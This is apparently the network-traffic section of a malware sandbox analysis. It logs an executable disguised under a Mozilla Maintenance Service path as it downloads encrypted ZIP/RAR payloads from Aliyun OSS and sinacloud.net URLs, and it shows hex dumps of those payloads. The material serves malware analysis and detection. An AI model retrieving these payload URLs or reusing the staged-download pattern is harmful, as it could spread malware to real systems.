Aug 5, 2024 11:59:31.827152014 CEST	367	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.26.0 Date: Mon, 05 Aug 2024 09:59:31 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Location: https://www.jmw.com.cn/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.26.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49761	161.117.242.89	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:31.005347967 CEST	259	OUT	GET /2024-08-05/17_56 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: huadongcs.oss-accelerate.aliyuncs.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:32.202020884 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: AliyunOSS Date: Mon, 05 Aug 2024 09:59:32 GMT Content-Type: application/octet-stream Content-Length: 1565 Connection: keep-alive x-oss-request-id: 66B0A2831748993E4CFA4D74 Content-Range: bytes 0-1564/1565 Accept-Ranges: bytes ETag: "9ABAC071C0B58556F95C6F92C5C9C28C" Last-Modified: Mon, 05 Aug 2024 09:57:00 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 16292424176455077522 x-oss-storage-class: Standard Content-MD5: mrrAccC1hVb5XG+SxcnCjA== x-oss-server-time: 12 Data Raw: 50 4b 03 04 14 00 01 00 08 00 a1 5d 05 59 d0 59 19 20 b3 05 00 00 74 13 00 00 04 00 00 00 63 6c 73 74 50 b7 99 b4 d5 d4 f8 5f 82 4b 39 db 03 06 b3 60 94 8c 6b 3b b4 fe b3 7d 4e aa c4 eb aa 1b 8d 70 91 9f f9 94 9a 38 05 0a 11 53 60 e9 48 4e 50 36 80 3f da 2d 46 64 2d 61 16 84 14 28 7a 69 88 9c cc d5 3f 31 0f 30 2a 52 e3 31 5b e5 0c f3 19 e0 49 7c 33 e3 20 ba c0 b5 f0 9e 98 82 96 15 c5 69 54 15 5f a3 2e 17 da e3 a0 a9 ee 6f 61 f8 f0 a7 d7 67 cf 3d e1 33 36 00 18 f3 3c 42 e4 25 df a1 df 22 1a 9d 73 2c cb e0 69 77 81 83 64 c3 92 4d 58 85 21 e1 30 46 96 a4 8c 5a cd a2 e2 d7 55 e7 c7 ba 94 b1 7f dc f5 a2 17 10 b2 7f cd 17 84 5c 04 86 a3 71 93 06 ce d5 79 46 51 67 11 2d 7f d2 01 40 d6 05 15 e8 b2 fb 69 90 e6 94 46 70 4a bc f6 82 62 df 44 9f 9f 8c f9 73 20 08 b0 0a 4d da 12 32 b8 a7 66 48 7f 8d 37 c9 8b f6 ff 77 31 e1 9d a4 df 92 b6 63 4e a2 fe 64 61 d4 c0 eb 7a 10 11 1d b3 7a 8a cb 07 47 9e 03 d2 64 cf cc ea f6 d4 42 a4 79 6e 25 43 ed 8f ae 79 01 78 99 44 44 48 ab 78 4c 1a e5 a4 9c 69 93 e7 7e 1a 67 f9 86 [TRUNCATED] Data Ascii: PK]YY tclstP_K9`k;}Np8S`HNP6?-Fd-a(zi?10R1[I\|3 iT_.oag=36<B%"s,iwdMX!0FZU\qyFQg-@iFpJbDs M2fH7w1cNdazzGdByn%CyxDDHxLi~gpugMgYfx3%Cx+0z(jXZUN?k\|]>GSJED {QEb)u<z7(S`)YKQgnCV0r&$nTD8Oj1IO.Rc)"V2}qDAw(?wcu)K"\|O1=5r}rIic5rjuLCYz4U\62nRE-8RIMpS.l9@=I_vT8oo
Aug 5, 2024 11:59:32.202063084 CEST	855	IN	Data Raw: d0 4b 33 ab 0b e4 24 54 e7 69 4b 39 7b 41 94 52 ae 70 91 03 0c ec 84 a1 67 32 cd d0 d1 d8 9b f0 c6 0d 21 f0 dd e8 1b b9 0b f9 55 37 1d 11 b3 4f e3 9a 01 c2 8d ce cc e7 60 83 f9 ff bf 0a 94 19 35 5f 80 29 a0 7d 42 53 da f1 b2 64 72 68 81 1b d7 ce Data Ascii: K3$TiK9{ARpg2!U7O`5_)}BSdrh^w\|hj%:<+wBpHDXjIrk4n,mK~r8^yM :2f_D bI,g<$@utg<7[Y#y'g9i{bXv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49762	27.221.16.179	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:32.888143063 CEST	232	OUT	GET /operate/24624 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: sinacloud.net Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:34.451323986 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: nginx Date: Mon, 05 Aug 2024 09:59:34 GMT Content-Type: application/octet-stream Content-Length: 1254141 Connection: keep-alive X-RequestId: 2e56a9ad-2408-0517-5933-b4055d752e1b X-Requester: GRPS000000ANONYMOUSE Last-Modified: Mon, 05 Aug 2024 09:49:14 GMT X-Filesize: 1254141 ETag: "7c122996d1cb6f84a1571234c8c9c24c" x-amz-meta-crc32: DB6A74AE Cache-Control: max-age=31536000 Access-Control-Allow-Headers: Origin, Content-Type, Accept, Range, Content-Length Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS, HEAD Access-Control-Max-Age: 31536000 Access-Control-Allow-Origin: * Content-Range: bytes 0-1254140/1254141 Data Raw: 50 4b 03 04 14 00 01 00 08 00 20 8e 05 59 1a d7 c6 76 8b 22 13 00 c8 a4 13 00 08 00 00 00 42 36 34 64 2e 72 61 72 4d 0b 98 49 2b 45 e9 59 bf ff c5 3c aa 9f 2a cd 4d 2c 89 26 55 a3 79 aa 65 61 83 fa 2a ce 7d d1 b6 8d f0 68 98 40 ea 85 f2 c0 75 d9 24 23 94 d9 0f dc 03 d6 20 d3 a8 09 bf 2d bd 1b 09 bb c7 41 89 aa 0f 5d d8 45 cc b7 25 d0 65 3b 2f d4 23 55 fb 64 f3 5f 44 8f ae 65 54 1c 30 27 77 e2 a9 36 06 31 41 8f 4b 72 c4 a2 ca 46 de ef 10 22 f8 0e 4c b2 58 ac 6c ad 55 40 52 48 d9 96 e6 c4 ad 8c 72 63 12 57 e2 db 13 2d dc 0b 82 8d 15 5b 78 55 ae e3 37 60 7e 87 53 3a bc 4d 59 b3 c7 40 86 1e 42 a3 1e 90 a6 b7 07 bb 02 4b ea 00 07 86 e3 eb fc db c6 f4 21 67 63 10 c8 22 e1 ed da f9 0f fa a1 54 c4 24 5f b1 71 23 a7 f9 5d 13 2e 47 28 4e c5 30 73 f4 de 62 c2 f6 3e 1b 68 79 97 f6 ff 45 4f ba 3b d4 b4 29 5a 55 be 2a 0f 60 b0 fa fd b5 13 c7 72 db 0c d8 ab 25 41 ce e2 47 82 cf e3 4f 40 5e cf b9 81 6d 92 1d a0 8d 95 9e b4 14 9c ed 22 fa 86 38 00 0d e1 89 0f 98 99 ce 34 96 10 fc b9 14 cc 44 30 bc 26 f2 fa c9 64 b6 [TRUNCATED] Data Ascii: PK Yv"B64d.rarMI+EY<M,&Uyea}h@u$# -A]E%e;/#Ud_DeT0'w61AKrF"LXlU@RHrcW-[xU7`~S:MY@BK!gc"T$_q#].G(N0sb>hyEO;)ZU*`r%AGO@^m"84D0&d7WspVQ$vXRxn!zJgP;uWR"!l9lUG&p1%#"7uP{_8t9&PHU34h&6w0Xi)s 70]-BI?B'uag\^T->C
Aug 5, 2024 11:59:34.451337099 CEST	1236	IN	Data Raw: 9a c3 3f 48 0c 00 eb 9b 67 34 59 99 00 78 7b 24 34 e3 d9 49 5b 8a 43 e9 41 2b 13 6d dc be 3f 13 13 24 5b 27 ad 26 0a 15 69 f1 b1 5d ee 35 13 04 7d ea ab 86 81 1f 02 0e 7e 61 c0 04 4b 9f 49 21 78 59 02 79 21 a1 c8 bb 2b af 17 96 e3 d2 91 1d e1 32 Data Ascii: ?Hg4Yx{$4I[CA+m?$['&i]5}~aKI!xYy!+2t3%py98zf-#^AEvl"u:T/tPhwV4sM]""HJCy]&g5kU#0E^FmzP
Aug 5, 2024 11:59:34.451348066 CEST	1236	IN	Data Raw: 3b cb e5 26 81 15 81 07 d8 0f 83 c3 20 9f 56 e3 37 91 e2 f3 e0 1a 26 ed 15 a2 1f 3f 5d 37 72 bb 7b 58 10 34 2b e6 72 8b 30 f3 df c0 05 c2 b9 cf 42 d9 7b c1 ba 14 82 22 c8 17 c9 e8 1d 7b e3 81 d7 d2 5c be 53 eb 0f 06 d9 cf 87 1f e5 c0 65 f3 84 cc Data Ascii: ;& V7&?]7r{X4+r0B{"{\SewHQsTXq[Dc<TSnU#"IgW.Cq aGjs\"Rfd#D-S[>g3%x4^/0G~E=z\ZJ4<{jkY8bdb\|_K
Aug 5, 2024 11:59:34.451375008 CEST	1236	IN	Data Raw: ec 30 6c f8 12 0e 43 d4 06 52 1a 0a ea c6 ae 5e 49 23 8c 7d 81 fb 4b 59 17 33 fb 8d e4 bd 35 6a 42 11 fe d9 bc aa e6 e4 49 2c 09 cf 04 b5 27 c8 f6 ac 5e e9 96 82 9a d9 e5 0c 43 cf 32 99 29 24 ed 4c e0 71 e3 e8 e5 23 75 d0 a3 c5 97 9b 92 62 a0 4e Data Ascii: 0lCR^I#}KY35jBI,'^C2)$Lq#ubN\|iqSB3Vjh<6?HmQ~(NBj[<{kp'\H0~St)jGF}*Wq\slt3.-aJ9Q\|[+
Aug 5, 2024 11:59:34.451386929 CEST	1236	IN	Data Raw: b6 4f 36 f0 dc eb 60 96 b7 a0 b4 68 8a 81 af 7d 63 16 50 ba fb 1d e3 57 d6 71 04 82 0d 34 43 bc 63 f6 8e a4 f8 d1 a4 66 cc cc f8 a8 3e ee e6 d4 fd b9 12 30 3b e4 d5 7f 12 56 d7 47 08 5f 12 26 70 28 66 dc a6 d0 44 54 22 7c a8 3d 70 ab 75 dd 21 9f Data Ascii: O6`h}cPWq4Ccf>0;VG_&p(fDT"\|=pu!iGC^YQVC=ronx}f)I<EAz_O@#<e@]q-Y}B`;`qrn?qy:Y4y0)"baA\kET^v}?b2Ae#[Y`e
Aug 5, 2024 11:59:34.451396942 CEST	1236	IN	Data Raw: a3 8d 5c a7 31 92 aa c8 32 9b 0f 10 78 bf 41 a4 19 d7 b2 a9 5f 81 14 c5 f8 0e 66 d8 ce 0b 5c c1 f0 32 af 53 2c 72 24 61 a9 e5 ac 30 26 d7 1b e5 8f 1a b4 5b 6b 34 43 60 a4 d5 94 46 12 7d 1b 64 c6 58 59 3e cb cd d9 40 1f 5f 55 5d f9 4c 37 f3 2d 92 Data Ascii: \12xA_f\2S,r$a0&[k4C`F}dXY>@_U]L7-HGxK>ZJkmWO'LOh~Vm%`y-:nmdnv:Qf^y*uWBBiel9WQU<gD.(t7>kcR<v#I
Aug 5, 2024 11:59:34.451425076 CEST	1013	IN	Data Raw: 88 f8 05 6a 58 10 c3 b8 32 b8 6f 0a 23 f1 da d2 95 cd 6f 74 0a a7 7f 2b e3 30 4a 9c 97 a7 d0 2d a9 44 d4 9f 18 09 58 c1 54 ff b3 85 84 05 38 35 77 70 92 58 7f fe 3f c1 10 4f b1 b2 54 ca cb d9 bc 40 a5 ee 61 e3 e2 47 89 ad b4 28 31 b0 f3 51 c0 53 Data Ascii: jX2o#ot+0J-DXT85wpX?OT@aG(1QS=O`0t.Z$a%)I("Ow,<t(1(zLRlX,_\|C44c0dfT%ivUGJ(FdwX<"eww]\|\|
Aug 5, 2024 11:59:34.451437950 CEST	1236	IN	Data Raw: 72 62 36 64 ed 3e c9 09 68 9c 24 f3 48 21 58 5c f7 e1 40 ad 98 da f9 86 78 13 da f4 f3 32 75 95 07 bf ce 16 47 73 2d 23 66 1c f1 6f 44 e1 22 d2 d9 04 46 a6 55 87 20 4b 80 c8 6a 26 41 75 22 7f 13 41 f8 83 40 64 11 c1 74 f3 60 8f 11 b8 17 c4 5e 81 Data Ascii: rb6d>h$H!X\@x2uGs-#foD"FU Kj&Au"A@dt`^z8h}b[CkY[<!DICeUQ~]ISUI!{P=$ER0-3qq%*< ]N/{l_'0Vk=P)z&ab)BrQ:
Aug 5, 2024 11:59:34.451457977 CEST	1236	IN	Data Raw: af c0 b2 b1 a7 93 54 a0 86 8c bc cc 52 fe 78 62 0e ce 40 89 75 1a c0 16 8a 7f f0 98 b6 48 59 d0 ab 1b 72 2d 67 c8 9f 1c 4e 5b da f5 2c ed 8d f8 f8 a2 50 dd 97 a9 7c a2 95 fc 5d da b2 4f ff db 32 fa 98 b9 30 46 55 93 40 20 8f d4 51 f0 86 c4 af 05 Data Ascii: TRxb@uHYr-gN[,P\|]O20FU@ Q1ott))ju1+V/5'h1QkINICimr\|'PjTi3}G>R;5[\gPdTf@[aiIY!;aHWS.:
Aug 5, 2024 11:59:34.451471090 CEST	1236	IN	Data Raw: ef 39 17 38 bf 3f 8d 17 db 9d ef 7b 7d 8c 4d 0b bb ab 1e 1e 72 99 b9 d5 4a eb 19 c3 6f 75 96 64 2b dc aa bb f2 77 fd 74 19 76 5e d2 6e 84 ec c9 35 ae b9 7a 7f cf 31 d7 9a 2e 00 c0 82 7e f5 c1 e3 60 92 7d c4 17 8a 1c 14 4c 6e 71 46 82 07 02 59 fe Data Ascii: 98?{}MrJoud+wtv^n5z1.~`}LnqFYg?qrv6!ga.cK-WuPa@Gi!:vKF^}dECWh,{s`eJ=w\|00&Kb&&.N[d#?@]Gi`3Q-.3 a-d
Aug 5, 2024 11:59:34.451486111 CEST	1236	IN	Data Raw: 3f 11 72 39 f2 d0 e0 b4 d4 e9 44 2a 9e a2 0d fa 78 60 69 a4 aa 13 50 e8 92 ef 30 ab bc 4e fa a1 9d f6 d9 be 2c 8d 79 70 ea 6e 15 00 74 f9 c9 ce a9 4b c8 96 f4 05 61 53 a0 ca 01 52 50 4f b3 33 3c 6e 79 ef f1 50 04 4d c3 31 f9 ae 67 61 52 76 44 c3 Data Ascii: ?r9Dx`iP0N,ypntKaSRPO3<nyPM1gaRvDnW+Hct]GHBMK;/ASje%98^S#,u"A=Tt\|YYuOf,P("!w;\|Bwj][s
Aug 5, 2024 11:59:34.451685905 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: nginx Date: Mon, 05 Aug 2024 09:59:34 GMT Content-Type: application/octet-stream Content-Length: 1254141 Connection: keep-alive X-RequestId: 2e56a9ad-2408-0517-5933-b4055d752e1b X-Requester: GRPS000000ANONYMOUSE Last-Modified: Mon, 05 Aug 2024 09:49:14 GMT X-Filesize: 1254141 ETag: "7c122996d1cb6f84a1571234c8c9c24c" x-amz-meta-crc32: DB6A74AE Cache-Control: max-age=31536000 Access-Control-Allow-Headers: Origin, Content-Type, Accept, Range, Content-Length Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS, HEAD Access-Control-Max-Age: 31536000 Access-Control-Allow-Origin: * Content-Range: bytes 0-1254140/1254141 Data Raw: 50 4b 03 04 14 00 01 00 08 00 20 8e 05 59 1a d7 c6 76 8b 22 13 00 c8 a4 13 00 08 00 00 00 42 36 34 64 2e 72 61 72 4d 0b 98 49 2b 45 e9 59 bf ff c5 3c aa 9f 2a cd 4d 2c 89 26 55 a3 79 aa 65 61 83 fa 2a ce 7d d1 b6 8d f0 68 98 40 ea 85 f2 c0 75 d9 24 23 94 d9 0f dc 03 d6 20 d3 a8 09 bf 2d bd 1b 09 bb c7 41 89 aa 0f 5d d8 45 cc b7 25 d0 65 3b 2f d4 23 55 fb 64 f3 5f 44 8f ae 65 54 1c 30 27 77 e2 a9 36 06 31 41 8f 4b 72 c4 a2 ca 46 de ef 10 22 f8 0e 4c b2 58 ac 6c ad 55 40 52 48 d9 96 e6 c4 ad 8c 72 63 12 57 e2 db 13 2d dc 0b 82 8d 15 5b 78 55 ae e3 37 60 7e 87 53 3a bc 4d 59 b3 c7 40 86 1e 42 a3 1e 90 a6 b7 07 bb 02 4b ea 00 07 86 e3 eb fc db c6 f4 21 67 63 10 c8 22 e1 ed da f9 0f fa a1 54 c4 24 5f b1 71 23 a7 f9 5d 13 2e 47 28 4e c5 30 73 f4 de 62 c2 f6 3e 1b 68 79 97 f6 ff 45 4f ba 3b d4 b4 29 5a 55 be 2a 0f 60 b0 fa fd b5 13 c7 72 db 0c d8 ab 25 41 ce e2 47 82 cf e3 4f 40 5e cf b9 81 6d 92 1d a0 8d 95 9e b4 14 9c ed 22 fa 86 38 00 0d e1 89 0f 98 99 ce 34 96 10 fc b9 14 cc 44 30 bc 26 f2 fa c9 64 b6 [TRUNCATED] Data Ascii: PK Yv"B64d.rarMI+EY<M,&Uyea}h@u$# -A]E%e;/#Ud_DeT0'w61AKrF"LXlU@RHrcW-[xU7`~S:MY@BK!gc"T$_q#].G(N0sb>hyEO;)ZU*`r%AGO@^m"84D0&d7WspVQ$vXRxn!zJgP;uWR"!l9lUG&p1%#"7uP{_8t9&PHU34h&6w0Xi)s 70]-BI?B'uag\^T->C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49763	27.221.16.149	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:41.168756008 CEST	232	OUT	GET /operate/24624 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: sinacloud.net Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:42.286941051 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: nginx Date: Mon, 05 Aug 2024 09:59:39 GMT Content-Type: application/octet-stream Content-Length: 1254141 Connection: keep-alive X-RequestId: 2ffdc53a-2408-0517-5942-6c92bfce67c0 X-Requester: GRPS000000ANONYMOUSE Last-Modified: Mon, 05 Aug 2024 09:49:14 GMT X-Filesize: 1254141 ETag: "7c122996d1cb6f84a1571234c8c9c24c" x-amz-meta-crc32: DB6A74AE Cache-Control: max-age=31536000 Access-Control-Allow-Headers: Origin, Content-Type, Accept, Range, Content-Length Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS, HEAD Access-Control-Max-Age: 31536000 Access-Control-Allow-Origin: * Content-Range: bytes 0-1254140/1254141 Data Raw: 50 4b 03 04 14 00 01 00 08 00 20 8e 05 59 1a d7 c6 76 8b 22 13 00 c8 a4 13 00 08 00 00 00 42 36 34 64 2e 72 61 72 4d 0b 98 49 2b 45 e9 59 bf ff c5 3c aa 9f 2a cd 4d 2c 89 26 55 a3 79 aa 65 61 83 fa 2a ce 7d d1 b6 8d f0 68 98 40 ea 85 f2 c0 75 d9 24 23 94 d9 0f dc 03 d6 20 d3 a8 09 bf 2d bd 1b 09 bb c7 41 89 aa 0f 5d d8 45 cc b7 25 d0 65 3b 2f d4 23 55 fb 64 f3 5f 44 8f ae 65 54 1c 30 27 77 e2 a9 36 06 31 41 8f 4b 72 c4 a2 ca 46 de ef 10 22 f8 0e 4c b2 58 ac 6c ad 55 40 52 48 d9 96 e6 c4 ad 8c 72 63 12 57 e2 db 13 2d dc 0b 82 8d 15 5b 78 55 ae e3 37 60 7e 87 53 3a bc 4d 59 b3 c7 40 86 1e 42 a3 1e 90 a6 b7 07 bb 02 4b ea 00 07 86 e3 eb fc db c6 f4 21 67 63 10 c8 22 e1 ed da f9 0f fa a1 54 c4 24 5f b1 71 23 a7 f9 5d 13 2e 47 28 4e c5 30 73 f4 de 62 c2 f6 3e 1b 68 79 97 f6 ff 45 4f ba 3b d4 b4 29 5a 55 be 2a 0f 60 b0 fa fd b5 13 c7 72 db 0c d8 ab 25 41 ce e2 47 82 cf e3 4f 40 5e cf b9 81 6d 92 1d a0 8d 95 9e b4 14 9c ed 22 fa 86 38 00 0d e1 89 0f 98 99 ce 34 96 10 fc b9 14 cc 44 30 bc 26 f2 fa c9 64 b6 [TRUNCATED] Data Ascii: PK Yv"B64d.rarMI+EY<M,&Uyea}h@u$# -A]E%e;/#Ud_DeT0'w61AKrF"LXlU@RHrcW-[xU7`~S:MY@BK!gc"T$_q#].G(N0sb>hyEO;)ZU*`r%AGO@^m"84D0&d7WspVQ$vXRxn!zJgP;uWR"!l9lUG&p1%#"7uP{_8t9&PHU34h&6w0Xi)s 70]-BI?B'uag\^T->C
Aug 5, 2024 11:59:42.286993980 CEST	224	IN	Data Raw: 9a c3 3f 48 0c 00 eb 9b 67 34 59 99 00 78 7b 24 34 e3 d9 49 5b 8a 43 e9 41 2b 13 6d dc be 3f 13 13 24 5b 27 ad 26 0a 15 69 f1 b1 5d ee 35 13 04 7d ea ab 86 81 1f 02 0e 7e 61 c0 04 4b 9f 49 21 78 59 02 79 21 a1 c8 bb 2b af 17 96 e3 d2 91 1d e1 32 Data Ascii: ?Hg4Yx{$4I[CA+m?$['&i]5}~aKI!xYy!+2t3%py98zf-#^AEvl"u:T/tPhwV4sM]""HJCy]&g5k
Aug 5, 2024 11:59:42.287188053 CEST	1236	IN	Data Raw: 55 23 30 e3 8e 03 ea 45 b3 8d 5e 99 14 46 6d 7a 50 07 12 c8 b2 46 f4 34 c9 c5 dc ce 8d 1f c3 f8 58 40 68 ce d0 e8 aa 0b 37 e5 70 ee 7f 2b d6 19 db 97 af 5a 98 a6 29 e9 cf e0 c3 c1 89 35 ea 0f 8f a2 a3 4e 1e 6b c9 61 7d af 44 5d a4 1c 15 4f d0 12 Data Ascii: U#0E^FmzPF4X@h7p+Z)5Nka}D]Oct]HN<j}3h6C4Zo_}LH2}=5mh/Dh824Ug{yUvn9!hsG_^]'\\138wOdw$'fo7\|2.SNx
Aug 5, 2024 11:59:42.287225008 CEST	1236	IN	Data Raw: 7b bc 6a 81 6b 59 dd 8d 9c 38 62 fa f5 a3 64 62 7c 5f 4b c3 8b 3d c7 61 7d e8 90 9c 80 1f 56 15 e3 78 58 76 22 e3 34 94 ea 90 ea 01 bb b6 2c 48 ee 89 88 44 67 ef 79 84 75 f2 15 59 9e a4 71 18 86 85 73 bf c6 de 78 80 a2 e8 34 27 e5 96 66 36 f2 67 Data Ascii: {jkY8bdb\|_K=a}VxXv"4,HDgyuYqsx4'f6gw"Ze!K"R<@-&xJBIcQ1gJk5\|{i[r!FD35Z5Jy=^N1~1AVSP1QN~]%P~-*IZ^x@_
Aug 5, 2024 11:59:42.287257910 CEST	1236	IN	Data Raw: e0 f1 9a 87 39 0f 99 c6 51 f2 7c f0 5b 99 9a d4 0d b4 2b 56 24 3a 15 51 79 8c 3e af 4a df 9c 59 fc c2 d5 e0 92 9f f6 b4 53 2b 75 9e 4d d7 b2 af 8b 2c 85 ea f2 ac 3c 4b 7b c8 7b e4 c1 27 a2 c8 59 3a 15 83 97 0b 34 93 1a ba e9 09 4a 52 64 43 59 6b Data Ascii: 9Q\|[+V$:Qy>JYS+uM,<K{{'Y:4JRdCYk Btz;eWg#"Ik\RxQs9Q) d5t}R>!["?*ToV-xviYh~/0%97_M2Ig\)V?EkG
Aug 5, 2024 11:59:42.287291050 CEST	1236	IN	Data Raw: 62 bb cd 32 84 41 8f 65 23 1e 02 a3 5b aa 1c 59 60 c2 65 9a 17 b6 7c 49 a5 85 5a a7 b1 9c f0 ca 26 ea 1d ab 60 f8 47 41 a9 0a ed b9 17 31 e2 ca 22 d7 48 29 cc 3d 15 bc e3 10 17 b2 49 20 76 c7 1b c6 dc a7 55 1d 95 c1 cd 8a 3c b8 0b a1 c4 f3 df 6d Data Ascii: b2Ae#[Y`e\|IZ&`GA1"H)=I vU<mkNn)6m/L%&w`HfK1=lX6P]H?oDhfVaJ'5~N:j/-EV\|@>nzq,Y/*9[_t0
Aug 5, 2024 11:59:42.287391901 CEST	1236	IN	Data Raw: 8f d0 52 0c 3c f9 00 ac c4 dc 76 8e 23 99 ba ef 49 92 d6 ac 7f 31 68 3e fb 3d aa 10 9f 69 f8 b6 f2 79 d1 c9 f0 b8 b8 4b 1e 07 d5 dc 3d 50 45 6b 0f 4a d3 44 bb 6e c2 7d f1 77 c1 45 2b b6 70 61 79 0e fc df 81 99 54 72 50 26 36 1c 50 de 24 20 e6 d8 Data Ascii: R<v#I1h>=iyK=PEkJDn}wE+payTrP&6P$ &L "VZ8:'L{`TLVRwTdS+sOSz#oT=}ZmQN_U}(/vlBWG4a%?6
Aug 5, 2024 11:59:42.287426949 CEST	1236	IN	Data Raw: 3c 0c b1 b5 e3 09 c6 ea 09 22 65 77 e2 77 91 5d b6 7c 7c 63 68 af cf 73 9c 30 4b 35 d0 e5 53 24 3f ed 55 2c 90 e3 94 af 73 d0 d0 3f 15 36 df 62 de 4c f9 b1 0f 74 c2 9d 92 ea 3a 6d f2 be 83 b6 93 f4 e9 a1 58 a6 6a 04 2a 65 42 14 df 73 fd cb f0 eb Data Ascii: <"eww]\|\|chs0K5S$?U,s?6bLt:mXj*eBs-5I8e'l}!Fu31T#vhacp@=#?t?6m)0jgRh,}WfZg}";cz8VL-,XR4Ti^F!2UT(B$rSS
Aug 5, 2024 11:59:42.287458897 CEST	1236	IN	Data Raw: ce ae 38 aa c3 35 c9 90 39 e4 0d 07 59 ca 79 90 0c 67 46 5a c0 eb 85 34 b4 10 05 a8 bf 41 d5 e5 09 dd cf fc d2 02 8d e2 10 df 29 06 ae ce 85 de 75 5f 37 90 d0 c9 36 a7 10 06 b9 c8 fb 2f 87 60 8b 51 cc 9d c6 79 26 d9 26 d6 7d 38 e8 21 cf 06 41 c5 Data Ascii: 859YygFZ4A)u_76/`Qy&&}8!Ak]~0!Urt(9ge./kx2t&NpDqS;exLwr9F/ E9*8xsU5jajT}_LG#GD?Y#7sgG.o(T%WI[
Aug 5, 2024 11:59:42.287492990 CEST	1236	IN	Data Raw: 9a a6 54 5b c0 5d fa d2 ab 7d 9a b6 60 7e 63 12 e9 cb fd bf 78 f6 21 b8 50 59 bb c2 fe 87 61 2d d4 ad cc 28 d7 45 e7 24 e1 8d a8 57 58 9e 86 3b 07 00 0f ab 56 92 62 86 d6 e1 c8 64 73 cf 20 ec 2e f2 b3 12 74 69 17 85 51 1e ce 5b 9f 9b e5 cf 95 23 Data Ascii: T[]}`~cx!PYa-(E$WX;Vbds .tiQ[#6m@},@[VY9^~GGOIx MU1]hHRz<72Sqq ,o]cTg.\@//euCDL,ku Jh[Y{7b6=
Aug 5, 2024 11:59:42.292306900 CEST	1236	IN	Data Raw: 69 dc f8 0c 30 a7 83 da a6 55 99 66 b1 bc 44 78 2e 75 02 11 9c f4 d1 97 e4 88 d8 74 d0 3a 6b 50 67 88 af 68 72 15 43 f3 36 2b 24 58 07 43 10 fc 60 77 de 74 d6 54 79 a4 a6 48 70 05 a9 52 bd 33 c9 12 02 91 20 30 23 5c af 72 2d 68 7b 48 77 82 10 7b Data Ascii: i0UfDx.ut:kPghrC6+$XC`wtTyHpR3 0#\r-h{Hw{x<%u3O9(>[('KUz_F9ny'rI~N<56y`)}ZVIMxha4{hr%0]l@259bfP[-d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49764	27.221.16.179	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:49.347111940 CEST	232	OUT	GET /operate/24647 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: sinacloud.net Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:50.426873922 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: nginx Date: Mon, 05 Aug 2024 09:59:51 GMT Content-Type: application/octet-stream Content-Length: 1286778 Connection: keep-alive X-RequestId: 30398de0-2408-0517-5950-6c92bfce67e5 X-Requester: GRPS000000ANONYMOUSE Last-Modified: Mon, 05 Aug 2024 09:50:07 GMT X-Filesize: 1286778 ETag: "11a265e5a4b94fd875d3d29de9a3e43a" x-amz-meta-crc32: 8BDB303B Cache-Control: max-age=31536000 Access-Control-Allow-Headers: Origin, Content-Type, Accept, Range, Content-Length Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS, HEAD Access-Control-Max-Age: 31536000 Access-Control-Allow-Origin: * Content-Range: bytes 0-1286777/1286778 Data Raw: 50 4b 03 04 14 00 01 00 08 00 3a 8e 05 59 ff 73 17 02 02 a2 13 00 d8 1c 14 00 0b 00 00 00 42 36 34 64 74 6d 70 2e 72 61 72 d7 71 da 75 90 69 2d b1 62 2e 48 80 12 de 68 